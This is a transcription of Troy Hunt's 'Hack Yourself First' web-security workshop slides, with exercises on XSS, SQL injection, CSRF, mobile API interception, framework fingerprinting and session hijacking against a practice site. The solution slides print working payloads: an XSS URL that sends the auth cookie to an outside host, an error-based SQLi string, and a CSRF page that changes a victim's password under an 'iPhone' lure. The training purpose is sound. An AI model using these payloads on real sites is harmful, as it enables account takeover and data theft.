Hack Yourself First. Troy Hunt @troyhunt troyhunt.com troyhunt@hotmail.com



Similar documents
Hack Yourself First. Troy troyhunt.com

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Ethical Hacking as a Professional Penetration Testing Technique

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

Cyber Security Workshop Ethical Web Hacking

The Top Web Application Attacks: Are you vulnerable?

Check list for web developers

Still Aren't Doing. Frank Kim

Web application security

Security features of ZK Framework

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Hack Proof Your Webapps

HTTP Fingerprinting and Advanced Assessment Techniques

(WAPT) Web Application Penetration Testing

BASELINE SECURITY TEST PLAN FOR EDUCATIONAL WEB AND MOBILE APPLICATIONS

Web Application Security Considerations

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Where every interaction matters.

Web Application Firewall on SonicWALL SRA

Java Web Application Security

Lecture 11 Web Application Security (part 1)

CTIS 256 Web Technologies II. Week # 1 Serkan GENÇ

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Cross Site Scripting in Joomla Acajoom Component

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

Outline Definition of Webserver HTTP Static is no fun Software SSL. Webserver. in a nutshell. Sebastian Hollizeck. June, the 4 th 2013

Web Application Firewall on SonicWALL SSL VPN

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Web Application Security

Introduction to Web Application Security Flaws

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

What is Web Security? Motivation

Module 45 (More Web Hacking)

CIS 551 / TCOM 401 Computer and Network Security. Spring 2007 Lecture 20

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Chapter 1 Web Application (In)security 1

Web Application Attacks and Countermeasures: Case Studies from Financial Systems

Application Security Testing. Generic Test Strategy

Hypertext for Hyper Techs

Cloud Security:Threats & Mitgations

External Network & Web Application Assessment. For The XXX Group LLC October 2012

Playing with Web Application Firewalls

Rational AppScan & Ounce Products

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

Cyber Security Challenge Australia 2014

Essential IT Security Testing

Web Application Attacks And WAF Evasion

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

T14 SECURITY TESTING: ARE YOU A DEER IN THE HEADLIGHTS? Ryan English SPI Dynamics Inc BIO PRESENTATION. Thursday, May 18, :30PM

Conducting Web Application Pentests. From Scoping to Report For Education Purposes Only

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Intrusion detection for web applications

Revisiting SQL Injection Will we ever get it right? Michael Sutton, Security Evangelist

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Web Application Report

APPLICATION SECURITY AND ITS IMPORTANCE

Using Foundstone CookieDigger to Analyze Web Session Management

Web-Application Security

Project 2: Web Security Pitfalls

SAMSUNG SMARTTV: HOW-TO TO CREATING INSECURE DEVICE IN TODAY S WORLD. Sergey Belov

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Exploits: XSS, SQLI, Buffer Overflow

Enterprise Application Security Workshop Series

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

Web Application Penetration Testing

Bank Hacking Live! Ofer Maor CTO, Hacktics Ltd. ATC-4, 12 Jun 2006, 4:30PM

Web Application Guidelines

Offensive Security. Advanced Web Attacks and Exploitation. Mati Aharoni Devon Kearns. v. 1.0

Ruby on Rails Security. Jonathan Weiss, Peritor Wissensmanagement GmbH

SAP: Session (Fixation) Attacks and Protections

1. When will an IP process drop a datagram? 2. When will an IP process fragment a datagram? 3. When will a TCP process drop a segment?

OWASP Top Ten Tools and Tactics

Sichere Software- Entwicklung für Java Entwickler

Introduction:... 1 Security in SDLC:... 2 Penetration Testing Methodology: Case Study... 3

reference: HTTP: The Definitive Guide by David Gourley and Brian Totty (O Reilly, 2002)

Testing the OWASP Top 10 Security Issues

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

Avactis PHP Shopping Cart ( Full Disclosure

Barracuda Web Application Firewall vs. Intrusion Prevention Systems (IPS) Whitepaper

Nuclear Regulatory Commission Computer Security Office Computer Security Standard

Mavituna Security Ltd. Finance House, 522A Uxbridge Rd. Pinner. HA5 3PU / UK

Web Application Security

Hacking cookies in modern web applications and browsers

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

Secure development and the SDLC. Presented By Jerry

Top Ten Web Application Vulnerabilities in J2EE. Vincent Partington and Eelco Klaver Xebia

HTTP. Internet Engineering. Fall Bahador Bakhshi CE & IT Department, Amirkabir University of Technology

Security-Assessment.com White Paper Leveraging XSRF with Apache Web Server Compatibility with older browser feature and Java Applet

Web Application Firewall

HTML5. Eoin Keary CTO BCC Risk Advisory.

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Transcription:

Hack Yourself First Troy Hunt @troyhunt troyhunt.com troyhunt@hotmail.com

We re gonna turn you into lean, mean hacking machines!

Because if we don t, these kids are going to hack you Jake Davies, 19 (and his mum) Ryan Cleary, 20 (and his mum) Curtis Gervais, 16, awaiting trial (probably with his mum)

Who are we protecting our assets from? $10.8B per annum Hacker Resources Can invest where ROI makes sense Pocket money Hacker Competency Bored kids Common Thieves Super Hackers

Your Hacker Tools for Today A Wi-Fi connection A mobile device you can configure a proxy on I have a few spares Google Chrome Or another browser with good dev tools Fiddler getfiddler.com Or another HTTP proxy like charlesproxy.com

What we ll be covering Introduction 30 mins 09:00 Discovering risks via the browser 30 mins 09:30 Using an HTTP proxy 30 mins 10:00 Break 15 mins 10:30 XSS 50 mins 10:45 SQL injection 55 mins 11:35 Lunch 1 hour 12:30 Mobile APIs 60 mins 13:30 CSRF 50 mins 14:30 Break 15 mins 15:20 Framework disclosure 30 mins 15:35 Session hijacking 35 mins 16:05 Wrap up 20 mins 16:40 Close 17:00

Exercise 1 Discovering risks via the browser

Exercise 1 Chrome developer tools Familiarise yourself with the dev tools Elements, network, cookies, console, por uh, incognito Create an account at hackyourselffirst.troyhunt.com Hacker Challenge 1: Identify three security risks with the registration process

Exercise 2 Using an HTTP proxy

Exercise 2 Using an HTTP proxy Familiarise yourself with Fiddler Watch requests and their headers, review response body and headers, use the composer to reissue request Hacker Challenge 2: Use Fiddler to vote multiple times on 1 car with your ID

Exercise 3 Reflected cross site scripting (XSS)

Understanding XSS mysite.com/?q=<script>alert('yay mysite.com/?q=ferrari XSS!');</script> <p>you searched for <%= Request.QueryString["q"] %></p> <p>you searched <p>you for <script>alert('yay searched for ferrari</p> XSS!');</script></p>

Some quick XSS tips Check the encoding context You encode for HTML differently than for JavaScript Check the encoding consistency Often it s manual and some characters are not encoded Play with JavaScript to: Manipulate the DOM, access cookies, load external resources

Exercise 3 XSS Establish the encoding practices on the search page What s encoded, what s not, what contexts are encoding What can be accessed or manipulated in the DOM Hacker Challenge 3: Create an XSS attack that sends the auth cookie to another site

Exercise 3 solution http://hackyourselffirst.troyhunt.com/search?searchterm= ');document.location='http://www.troyhunt.com/?c='%2bdocument.cookie;//

Exercise 4 SQL injection (SQLi)

Understanding SQLi mysite.com/?id=foo mysite.com/?id=1 var query = "SELECT * FROM Widget WHERE Id = " query += Request.Query["id"] SELECT ** FROM Widget WHERE Id Id = = foo 1 Invalid column name 'foo'

Some quick SQLi tips Think of SQL commands which disclose structure sys.tables, sys.columns, system commands Consider how you d enumerate through records Select top x rows asc then top 1 rows from that desc Write out how you think the query works internally SELECT * FROM Supercar ORDER BY [URL param]

Exercise 4 SQLi Explore the database using error-based SQLi Construct strings to disclose internal data Cast things to invalid types to disclose via exceptions Hacker Challenge 4: Discover the version of the DB

Exercise 4 solution http://hackyourselffirst.troyhunt.com/make/1?orderby=@@version*1

Exercise 5 Mobile APIs

Understanding mobile APIs

Who are we protecting our APIs from? HTTP(S) Attacker Attacker

Trusting the Fiddler root cert http://ipv4.fiddler:8888

Some quick mobile API tips Look at the HTTP requests for sensitive data Credentials, account info, PII Remove the proxy s root cert and make HTTPS requests Is cert validation actually enabled in the app? In your own apps: Parameter tampering, auth bypass, direct object refs

Exercise 5 Mobile APIs Proxy your device through Fiddler or Charles Inspect the traffic of your apps Perform normal activities and monitor requests Hacker Challenge 5: Find three things of interest doesn t have to be security related

Exercise 6 Cross site request forgery (CSRF)

Understanding CSRF POST /Login/Account Set-Cookie: AuthCookie=XXX GET /Path/To/Authenticated/Resource Cookie: AuthCookie=XXX CSRF here! Authenticated request!

Some quick CSRF tips Establish the request pattern to the target resource What fields are being sent Reconstruct the request from your own resource Normally a malicious page Lure the user into the malicious resource Usually requires incentivisation

Exercise 6 CSRF Mount your own CSRF attack Reproduce a legitimate request Use it to perform a malicious action Hacker Challenge 6: Change the present user s password when they load your page

Exercise 6 solution

Exercise 6 solution <html> <head> <title>win an iphone!!!</title> </head> <body style="text-align: center;"> <h1 style="font-size: 1.7em;">Want to win an iphone? Of course you do! Click the button below and it's yours!!!</h1> <form action="https://hackyourselffirst.troyhunt.com/account/changepassword" method="post" target="hiddenframe"> <input type="hidden" name="newpassword" value="hackpword" /> <input type="hidden" name="confirmpassword" value="hackpword" /> <input type="submit" value="i wanna win!" onclick="alert('you won! Click ok and it\'s done')" style="font-size: 2em;" /> </form> <p><img src="iphone.jpg" style="width: 900px;" /></p> <iframe name="hiddenframe" style="display: none;"></iframe> </body> </html>

Exercise 7 Framework disclosure

Understanding framework disclosure risks Learn of framework vulnerability Search web for vulnerable sites Pwn!

Some quick framework disclosure tips There are multiple ways the framework is leaked This can differ by web stack Different requests can cause different leakage Consider the different ways in which a site may responds Also think about other ways disclosure happens Markup structure, naming patterns, etc

Exercise 7 Framework disclosure Discover the internal framework of the site Identify what s being implicitly leaked Cause the app to leak additional information Hacker Challenge 7: Identify 3 different ways in which the internal framework is disclosed

Exercise 7 solution 1. Response headers (server, powered by, ASP.NET version, MVC version) 2. Unhandled exception stack trace (includes minor ASP.NET version) 3. Session ID cookie name (ASP.NET_SessionId) 4. Error page for 404 (includes minor ASP.NET version) 5. Elmah 6. HTTP fingerprinting

HTTP field ordering Apache 1.3.23 HTTP/1.1 200 OK Date: Sun, 15 Jun 2003 17:10:49 GMT Server: Apache/1.3.23 Last-Modified: Thu, 27 Feb 2003 ETag: "32417-c4-3e5d8a83" Accept-Ranges: bytes Content-Length: 196 Connection: close Content-Type: text/html IIS 5.0 HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Content-Location: http://iis.example.com Date: Fri, 01 Jan 1999 20:13:52 GMT Content-Type: text/html Accept-Ranges: bytes Last-Modified: Fri, 01 Jan 1999 ETag: W/"e0d362a4c335be1:ae1" Content-Length: 133

Other fingerprinting indicators Forbidden resource Improper HTTP version Improper protocol

Exercise 8 Session hijacking

Understanding session hijacking POST /Login/Account Set-Cookie: AuthCookie=XXX Attacker steals the cookie Attacker issues authenticated request with the cookie

Some quick session hijacking tips Persistence over HTTP can be done multiple ways Cookie, URL Session or auth ID can be obtained multiple ways Insecure transport, referrer, stored in exceptions, XSS Factors that limit hijacking Short duration expiry, keyed to client device / IP

Exercise 8 Session hijacking Mount a session hijacking attack Identify how auth is being persisted Obtain the auth token using a vuln in the app Hacker Challenge 8: Use an XSS risk to obtain the auth token and recreate the session in another browser